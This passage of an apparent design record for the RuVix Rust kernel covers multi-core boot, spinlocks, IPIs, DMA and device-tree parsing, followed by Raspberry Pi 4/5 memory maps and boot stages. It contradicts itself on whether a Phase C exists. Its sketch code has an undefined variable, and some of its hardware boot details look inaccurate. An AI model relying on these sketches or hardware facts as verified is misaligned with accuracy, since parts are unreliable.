\"Efficient IO with io_uring,\" 2019. The submission/completion ring design inspires RuVix's queue IPC.\n\n3. **WASM Component Model** \u2014 W3C WebAssembly CG, \"Component Model,\" 2024. WIT (WASM Interface Types) provides the type system for RVF component interfaces.\n\n4. **RVF Specification** \u2014 ADR-029, RuVector project. The canonical binary format that becomes the RuVix boot object.\n\n5. **Proof-Gated Mutation** \u2014 ADR-047, RuVector project. The `ProofGate<T>` type and three-tier proof routing that becomes a kernel invariant.\n\n6. **Hermit OS** \u2014 Lankes et al., \"A Rust-Based Unikernel,\" VEE 2023. Demonstrates Rust-native kernel development and links against application at build time.\n\n7. **Theseus OS** \u2014 Boos et al., \"Theseus: an Experiment in Operating System Structure and State Management,\" OSDI 2020. Safe-language OS using Rust ownership for isolation without hardware privilege rings.\n\n8. **Capability Hardware Enhanced RISC Instructions (CHERI)** \u2014 Watson et al., \"CHERI: A Hybrid Capability-System Architecture,\" IEEE S&P 2015. Hardware-enforced capabilities that could accelerate RuVix's capability checks.\n\n9. **Coherence Engine** \u2014 ADR-014, RuVector project. Graph-theoretic consistency scoring replacing probabilistic confidence.\n\n10. **Cognitum Gate Kernel** \u2014 `crates/cognitum-gate-kernel/`, RuVector project. No_std WASM kernel for 256-tile coherence fabric.\n\n---\n\n## 22. Decision Record\n\nThis ADR proposes RuVix as a new architectural layer in the RuVector ecosystem. It does not replace any existing crate or ADR. It promotes existing primitives (RVF, proof-gated mutation, coherence scoring, capability-based access) from library conventions to kernel-enforced invariants.\n\nThe build path is intentionally conservative: Phase A delivers a Linux-hosted prototype with the full syscall surface. Phase B delivers bare metal. There is no Phase C because POSIX compatibility would compromise every design principle.\n\nThe acceptance test is the single measure of success: a signed RVF boots, consumes an event, performs a proof-gated mutation, emits an attestation, and replays deterministically.\n\n---\n\n## Phase C: Multi-Core and DMA Support\n\n### C.1 Objectives\n\nPhase C extends the bare metal kernel with symmetric multi-processing (SMP) and DMA capabilities, enabling parallel execution across multiple CPU cores and zero-copy I/O operations.\n\n1. **Symmetric Multi-Processing (SMP)** \u2014 Support up to 256 cores with per-CPU data structures, spinlocks, and inter-processor interrupts (IPIs)\n2. **DMA Controller Abstraction** \u2014 Zero-copy I/O for high-bandwidth peripherals (network, storage, sensors)\n3. **Device Tree Parsing** \u2014 Runtime hardware discovery for portable multi-platform support\n4. **Memory Coherence** \u2014 Proper cache and memory barrier usage for SMP correctness\n5. **Per-CPU Scheduling** \u2014 Load balancing with coherence-aware task migration\n\n### C.2 New Crates\n\n| Crate | Purpose | Dependencies | Lines of Code (Est.) |\n|-------|---------|--------------|---------------------|\n| **`ruvix-smp`** | Multi-core boot, per-CPU data, spinlocks, IPIs | `ruvix-aarch64`, `ruvix-types` | ~1,000 |\n| **`ruvix-dma`** | DMA controller abstraction for zero-copy I/O | `ruvix-hal`, `ruvix-physmem` | ~500 |\n| **`ruvix-dtb`** | Device tree blob (DTB) parser for hardware discovery | `ruvix-types` | ~600 |\n\nUpdated primitives table:\n\n| Crate | Status | Tests | Description |\n|-------|--------|-------|-------------|\n| `ruvix-smp` | Phase C | TBD | SMP boot, per-CPU data, spinlocks, IPIs |\n| `ruvix-dma` | Phase C | TBD | DMA controller abstraction, scatter-gather lists |\n| `ruvix-dtb` | Phase C | TBD | Flattened Device Tree parser, memory/peripheral discovery |\n\n### C.3 SMP Boot Sequence\n\nSecondary CPU bring-up follows the ARM PSCI (Power State Coordination Interface) v0.2 specification, with spin-table fallback for platforms without PSCI.\n\n```\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 SMP BOOT SEQUENCE \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 \u2502\n\u2502 PRIMARY CPU (CPU 0) SECONDARY CPUs (1..N) \u2502\n\u2502 \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550 \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550 \u2502\n\u2502 \u2502\n\u2502 1. Execute _start 1. Held in firmware/spin-table \u2502\n\u2502 \u2502 \u2502\n\u2502 2. Initialize MMU, GIC \u2502\n\u2502 \u2502 \u2502\n\u2502 3. Parse DTB \u2192 discover CPUs \u2502\n\u2502 \u2502 \u2502\n\u2502 4. Allocate per-CPU data \u2502\n\u2502 \u2502 \u2502\n\u2502 5. For each secondary CPU: 2. PSCI: CPU_ON or spin-release \u2502\n\u2502 \u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502\n\u2502 \u2514\u2500\u2500\u25b6\u2502 smc #0 (PSCI CPU_ON) OR write spin-table release addr \u2502 \u2502\n\u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502\n\u2502 \u2502 \u2502\n\u2502 3. Jump to secondary_entry \u2502\n\u2502 \u2502 \u2502\n\u2502 4. Initialize per-CPU state \u2502\n\u2502 \u2502 \u2502\n\u2502 5. Enable local GIC interface \u2502\n\u2502 \u2502 \u2502\n\u2502 6. Signal ready via IPI \u2502\n\u2502 6. Wait for all CPUs ready \u2502 \u2502\n\u2502 \u25c0\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502\n\u2502 \u2502 \u2502\n\u2502 7. Enter scheduler 7. Enter scheduler \u2502\n\u2502 \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n```\n\n#### PSCI-Based Boot (Preferred)\n\n```rust\n// ruvix-smp/src/boot.rs\npub unsafe fn boot_secondary_psci(cpu_id: usize, entry_point: usize) -> Result<(), PsciError> {\n let result = smc_call(\n PSCI_CPU_ON, // Function ID\n cpu_id as u64, // Target CPU MPIDR\n entry_point as u64, // Entry point address\n 0, // Context ID (passed in x0)\n );\n\n match result {\n 0 => Ok(()), // SUCCESS\n PSCI_E_ALREADY_ON => Ok(()), // Already running\n PSCI_E_ON_PENDING => Ok(()), // Boot in progress\n err => Err(PsciError::from(err)),\n }\n}\n```\n\n#### Spin-Table Boot (Fallback)\n\n```rust\n// ruvix-smp/src/boot.rs\npub unsafe fn boot_secondary_spintable(\n cpu_id: usize,\n spin_table_addr: *mut u64,\n entry_point: usize,\n) {\n // Write entry point to spin-table release address\n core::ptr::write_volatile(spin_table_addr, entry_point as u64);\n\n // Data synchronization barrier ensures write is visible\n asm!(\"dsb sy\");\n\n // Send event to wake sleeping CPUs\n asm!(\"sev\");\n}\n```\n\n#### Per-CPU Data Structure\n\n```rust\n// ruvix-smp/src/percpu.rs\n#[repr(C, align(64))] // Cache-line aligned to prevent false sharing\npub struct PerCpuData {\n /// CPU identifier (MPIDR_EL1 affinity)\n pub cpu_id: u64,\n\n /// Current running task (if any)\n pub current_task: Option<TaskHandle>,\n\n /// Per-CPU scheduler run queue\n pub run_queue: RunQueue,\n\n /// Per-CPU timer state\n pub timer: TimerState,\n\n /// Per-CPU GIC interface state\n pub gic_cpu: GicCpuState,\n\n /// Per-CPU exception stack pointer\n pub exception_stack: *mut u8,\n\n /// Boot synchronization flag\n pub ready: AtomicBool,\n\n /// Padding to fill cache line\n _pad: [u8; 16],\n}\n\nimpl PerCpuData {\n /// Access current CPU's data via TPIDR_EL1 register\n pub fn current() -> &'static mut PerCpuData {\n let ptr: *mut PerCpuData;\n unsafe {\n asm!(\"mrs {}, TPIDR_EL1\", out(reg) ptr);\n &mut *ptr\n }\n }\n}\n```\n\n### C.4 Memory Barriers and Synchronization\n\nSMP correctness requires careful use of AArch64 memory barriers. The kernel enforces these invariants:\n\n```\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 MEMORY BARRIER USAGE GUIDE \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 \u2502\n\u2502 BARRIER \u2502 INSTRUCTION \u2502 USE CASE \u2502\n\u2502 \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2502\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2502\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550 \u2502\n\u2502 \u2502 \u2502 \u2502\n\u2502 DMB (Data \u2502 dmb sy \u2502 Before reading shared data after \u2502\n\u2502 Memory \u2502 dmb ish \u2502 acquiring a lock. After writing \u2502\n\u2502 Barrier) \u2502 dmb ishst \u2502 shared data before releasing a lock. \u2502\n\u2502 \u2502 \u2502 \u2502\n\u2502 DSB (Data \u2502 dsb sy \u2502 Before executing WFI/WFE (wait for \u2502\n\u2502 Synchronization\u2502 dsb ish \u2502 interrupt/event). After memory-mapped \u2502\n\u2502 Barrier) \u2502 dsb ishst \u2502 I/O writes to ensure completion. \u2502\n\u2502 \u2502 \u2502 \u2502\n\u2502 ISB (Instr. \u2502 isb \u2502 After modifying system registers \u2502\n\u2502 Synchronization\u2502 \u2502 (TTBR, VBAR, etc.). After self- \u2502\n\u2502 Barrier) \u2502 \u2502 modifying code or cache maintenance. \u2502\n\u2502 \u2502 \u2502 \u2502\n\u2502 Shareability \u2502 \u2502 \u2502\n\u2502 Domains: \u2502 \u2502 \u2502\n\u2502 sy = Full \u2502 \u2502 All observers in the system \u2502\n\u2502 ish = Inner \u2502 \u2502 Inner-shareable (all CPUs) \u2502\n\u2502 osh = Outer \u2502 \u2502 Outer-shareable (clusters + DMA) \u2502\n\u2502 \u2502 \u2502 \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n```\n\n#### Spinlock Implementation\n\n```rust\n// ruvix-smp/src/spinlock.rs\n\n/// Ticket spinlock with proper memory ordering\npub struct SpinLock<T> {\n next_ticket: AtomicU32,\n now_serving: AtomicU32,\n data: UnsafeCell<T>,\n}\n\nimpl<T> SpinLock<T> {\n pub fn lock(&self) -> SpinLockGuard<'_, T> {\n // Acquire ticket atomically\n let ticket = self.next_ticket.fetch_add(1, Ordering::Relaxed);\n\n // Spin until our ticket is served\n while self.now_serving.load(Ordering::Acquire) != ticket {\n // WFE: wait for event, reduces power consumption\n unsafe { asm!(\"wfe\") };\n }\n\n // Acquired \u2014 DMB ensures all prior writes are visible\n SpinLockGuard { lock: self }\n }\n}\n\nimpl<T> Drop for SpinLockGuard<'_, T> {\n fn drop(&mut self) {\n // Release: increment now_serving with Release ordering\n self.lock.now_serving.fetch_add(1, Ordering::Release);\n\n // SEV: signal event to wake waiting CPUs\n unsafe { asm!(\"sev\") };\n }\n}\n```\n\n#### Inter-Processor Interrupts (IPIs)\n\n```rust\n// ruvix-smp/src/ipi.rs\n\n/// IPI types used by the kernel\n#[repr(u8)]\npub enum IpiType {\n /// Reschedule request \u2014 target CPU should check run queue\n Reschedule = 0,\n\n /// TLB shootdown \u2014 invalidate TLB entries for an address range\n TlbInvalidate = 1,\n\n /// Stop CPU \u2014 for kernel panic or shutdown\n Stop = 2,\n\n /// Function call \u2014 execute a closure on target CPU\n Call = 3,\n}\n\npub fn send_ipi(target_cpu: usize, ipi_type: IpiType) {\n let gic = GicDistributor::get();\n\n // Use SGI (Software Generated Interrupt) for IPIs\n // SGI ID 0-15 are available for software use\n let sgi_id = ipi_type as u8;\n\n gic.send_sgi(target_cpu, sgi_id);\n}\n\npub fn broadcast_ipi(ipi_type: IpiType, include_self: bool) {\n let gic = GicDistributor::get();\n let target = if include_self {\n SgiTarget::AllIncludingSelf\n } else {\n SgiTarget::AllExcludingSelf\n };\n\n gic.send_sgi_broadcast(target, ipi_type as u8);\n}\n```\n\n### C.5 DMA Controller Abstraction\n\n```rust\n// ruvix-dma/src/lib.rs\n\n/// DMA transfer descriptor\npub struct DmaDescriptor {\n /// Source physical address (for mem-to-dev)\n pub src_addr: PhysAddr,\n\n /// Destination physical address (for dev-to-mem)\n pub dst_addr: PhysAddr,\n\n /// Transfer length in bytes\n pub length: usize,\n\n /// Transfer direction\n pub direction: DmaDirection,\n\n /// Completion callback (optional)\n pub callback: Option<fn(DmaResult)>,\n}\n\n#[derive(Clone, Copy)]\npub enum DmaDirection {\n MemToDevice,\n DeviceToMem,\n MemToMem,\n}\n\n/// DMA controller trait implemented by platform-specific drivers\npub trait DmaController {\n /// Allocate a DMA channel\n fn allocate_channel(&self) -> Result<DmaChannel, DmaError>;\n\n /// Submit a scatter-gather list for transfer\n fn submit_sg(\n &self,\n channel: DmaChannel,\n descriptors: &[DmaDescriptor],\n ) -> Result<DmaTransferId, DmaError>;\n\n /// Poll for completion (non-blocking)\n fn poll(&self, transfer_id: DmaTransferId) -> DmaStatus;\n\n /// Wait for completion (blocking)\n fn wait(&self, transfer_id: DmaTransferId) -> DmaResult;\n\n /// Cancel a pending transfer\n fn cancel(&self, transfer_id: DmaTransferId);\n}\n```\n\n#### Scatter-Gather DMA for Zero-Copy Queue IPC\n\n```rust\n// Integration with ruvix-queue for zero-copy network packet reception\n\npub fn receive_packet_zero_copy(\n dma: &dyn DmaController,\n queue: &KernelQueue,\n device: &NetworkDevice,\n) -> Result<(), DmaError> {\n // Allocate receive buffer from queue's shared region\n let buffer = queue.ring_region.allocate_slot()?;\n\n // Build DMA descriptor pointing directly to queue buffer\n let desc = DmaDescriptor {\n src_addr: device.rx_fifo_addr(), // Device FIFO address\n dst_addr: buffer.phys_addr(), // Queue buffer physical address\n length: MTU,\n direction: DmaDirection::DeviceToMem,\n callback: Some(|result| {\n // On completion, advance queue tail\n queue.advance_cq_tail(result.bytes_transferred);\n }),\n };\n\n // Submit DMA transfer \u2014 no CPU copying involved\n dma.submit_sg(channel, &[desc])?;\n\n Ok(())\n}\n```\n\n### C.6 Device Tree Parser\n\n```rust\n// ruvix-dtb/src/lib.rs\n\n/// Parsed device tree structure\npub struct DeviceTree<'a> {\n root: DtNode<'a>,\n strings_block: &'a [u8],\n reserved_memory: Vec<MemoryRange>,\n}\n\nimpl<'a> DeviceTree<'a> {\n /// Parse DTB from a raw pointer (passed by bootloader in x0)\n pub unsafe fn from_ptr(ptr: *const u8) -> Result<Self, DtbError> {\n let header = &*(ptr as *const FdtHeader);\n\n // Validate magic number\n if u32::from_be(header.magic) != FDT_MAGIC {\n return Err(DtbError::InvalidMagic);\n }\n\n // Parse structure block, strings block, reserved memory\n // ...\n }\n\n /// Enumerate all CPUs from /cpus node\n pub fn cpus(&self) -> impl Iterator<Item = CpuNode> + '_ {\n self.root\n .find_node(\"/cpus\")\n .into_iter()\n .flat_map(|cpus| cpus.children())\n .filter(|n| n.name().starts_with(\"cpu@\"))\n .map(CpuNode::from)\n }\n\n /// Enumerate memory regions from /memory nodes\n pub fn memory_regions(&self) -> impl Iterator<Item = MemoryRange> + '_ {\n self.root\n .find_nodes_by_type(\"memory\")\n .flat_map(|n| n.reg_property())\n }\n\n /// Find a device by compatible string\n pub fn find_compatible(&self, compat: &str) -> Option<DtNode<'a>> {\n self.root.find_by_compatible(compat)\n }\n}\n\n/// CPU node information\npub struct CpuNode {\n pub cpu_id: u64, // reg property\n pub enable_method: EnableMethod,\n pub spin_table_addr: Option<PhysAddr>,\n pub psci_method: Option<PsciMethod>,\n}\n\npub enum EnableMethod {\n Psci,\n SpinTable,\n}\n```\n\n### C.7 Build Path (Weeks 43-54)\n\n| Week | Milestone | Deliverables | Tests |\n|------|-----------|--------------|-------|\n| **43-44** | DTB parser | `ruvix-dtb` crate, CPU/memory enumeration | Unit tests with real Pi4/Pi5 DTBs |\n| **45-46** | Per-CPU data | TPIDR_EL1 setup, per-CPU allocator | Each CPU accesses correct data |\n| **47-48** | Spinlocks | Ticket spinlock, reader-writer locks | Stress test across all CPUs |\n| **49-50** | Secondary boot | PSCI CPU_ON, spin-table fallback | All CPUs reach scheduler |\n| **51-52** | IPIs | SGI-based IPIs, TLB shootdown | Cross-CPU reschedule, TLB invalidate |\n| **53-54** | DMA controller | GICv3 DMA, scatter-gather | Zero-copy packet reception |\n\n---\n\n## Phase D: Raspberry Pi 4/5 Support\n\n### D.1 Hardware Differences\n\nPhase D provides dedicated support for Raspberry Pi 4 (BCM2711) and Raspberry Pi 5 (BCM2712) hardware. These platforms differ significantly from the QEMU virt machine.\n\n```\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 RASPBERRY PI 4 vs PI 5 COMPARISON \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 \u2502\n\u2502 FEATURE \u2502 Raspberry Pi 4 (BCM2711) \u2502 Raspberry Pi 5 (BCM2712)\u2502\n\u2502 \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2502\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2502\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2502\n\u2502 CPU \u2502 4x Cortex-A72 @ 1.8GHz \u2502 4x Cortex-A76 @ 2.4GHz \u2502\n\u2502 RAM \u2502 1/2/4/8 GB LPDDR4 \u2502 4/8 GB LPDDR4X \u2502\n\u2502 GPU \u2502 VideoCore VI \u2502 VideoCore VII \u2502\n\u2502 \u2502 \u2502 \u2502\n\u2502 PERIPHERAL BASE \u2502 0xFE00_0000 \u2502 0x1F00_0000_0000 \u2502\n\u2502 RAM BASE \u2502 0x0000_0000 \u2502 0x0000_0000 \u2502\n\u2502 \u2502 \u2502 \u2502\n\u2502 INTERRUPT \u2502 GIC-400 (GICv2) \u2502 GIC-500 (GICv3) \u2502\n\u2502 CONTROLLER \u2502 @ 0xFF84_0000 \u2502 @ 0x10_7FFF_0000 \u2502\n\u2502 \u2502 \u2502 \u2502\n\u2502 UART \u2502 PL011 @ 0xFE20_1000 \u2502 PL011 @ 0x1F00_0003_0000 \u2502\n\u2502 \u2502 Mini @ 0xFE21_5000 \u2502 \u2502\n\u2502 \u2502 \u2502 \u2502\n\u2502 GPIO \u2502 @ 0xFE20_0000 \u2502 @ 0x1F00_00D0_0000 \u2502\n\u2502 \u2502 \u2502 \u2502\n\u2502 MAILBOX \u2502 @ 0xFE00_B880 \u2502 @ 0x1F00_0000_0880 \u2502\n\u2502 (VideoCore IPC) \u2502 \u2502 \u2502\n\u2502 \u2502 \u2502 \u2502\n\u2502 PCIe \u2502 1x Gen 2.0 lane \u2502 1x Gen 3.0 lane \u2502\n\u2502 \u2502 \u2502 (M.2 NVMe support) \u2502\n\u2502 \u2502 \u2502 \u2502\n\u2502 BOOT \u2502 Start4.elf \u2192 kernel8.img \u2502 RP1 chip \u2192 kernel_2712.img\u2502\n\u2502 \u2502 \u2502 \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n```\n\n#### Memory Maps\n\n**Raspberry Pi 4 (BCM2711):**\n\n| Region | Start Address | End Address | Size | Purpose |\n|--------|--------------|-------------|------|---------|\n| **RAM (Low)** | `0x0000_0000` | `0x3C00_0000` | 960 MB | Main memory (below GPU split) |\n| **Mailbox** | `0xFE00_B880` | `0xFE00_B8BF` | 64 B | VideoCore mailbox registers |\n| **GPIO** | `0xFE20_0000` | `0xFE20_00F4` | 244 B | GPIO registers |\n| **UART0** | `0xFE20_1000` | `0xFE20_1FFF` | 4 KB | PL011 UART |\n| **Mini UART** | `0xFE21_5000` | `0xFE21_507F` | 128 B | Aux mini UART |\n| **GIC Dist** | `0xFF84_1000` | `0xFF84_1FFF` | 4 KB | GIC-400 distributor |\n| **GIC CPU** | `0xFF84_2000` | `0xFF84_2FFF` | 4 KB | GIC-400 CPU interface |\n| **Local Periph** | `0xFF80_0000` | `0xFF80_0FFF` | 4 KB | Per-core timers, mailboxes |\n\n**Raspberry Pi 5 (BCM2712):**\n\n| Region | Start Address | End Address | Size | Purpose |\n|--------|--------------|-------------|------|---------|\n| **RAM** | `0x0000_0000` | `0x1_0000_0000` | 4 GB | Main memory |\n| **High Periph** | `0x1F00_0000_0000` | `0x1F00_FFFF_FFFF` | 4 GB | Peripheral space |\n| **GIC-500** | `0x10_7FFF_0000` | `0x10_7FFF_FFFF` | 64 KB | GICv3 |\n| **RP1 Periph** | `0x1F00_0000_0000` | varies | varies | RP1 south bridge (USB, Ethernet) |\n\n### D.2 New Crates\n\n| Crate | Purpose | Dependencies | Lines of Code (Est.) |\n|-------|---------|--------------|---------------------|\n| **`ruvix-bcm2711`** | BCM2711/2712 SoC drivers (GPIO, mailbox, UART) | `ruvix-hal`, `ruvix-aarch64` | ~1,200 |\n| **`ruvix-rpi-boot`** | RPi-specific boot support (config.txt parsing, stub) | `ruvix-aarch64`, `ruvix-dtb` | ~400 |\n\n### D.3 Boot Process\n\nRaspberry Pi boot differs significantly from QEMU:\n\n```\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 RASPBERRY PI BOOT SEQUENCE \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 \u2502\n\u2502 STAGE 0: On-Chip ROM (Raspberry Pi 4/5) \u2502\n\u2502 \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550 \u2502\n\u2502 1. Power-on reset \u2502\n\u2502 2. Load second-stage bootloader from SD/eMMC/USB \u2502\n\u2502 - Pi 4: bootcode.bin (from boot partition) \u2502\n\u2502 - Pi 5: RP1 chip handles initial boot \u2502\n\u2502 \u2502\n\u2502 STAGE 1: VideoCore Firmware \u2502\n\u2502 \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550 \u2502\n\u2502 1. Load start4.elf (or start.elf) from boot partition \u2502\n\u2502 2. Parse config.txt for boot configuration \u2502\n\u2502 3. Initialize DRAM, clocks, voltage \u2502\n\u2502 4. Load kernel8.img (AArch64 kernel) to 0x80000 \u2502\n\u2502 5. 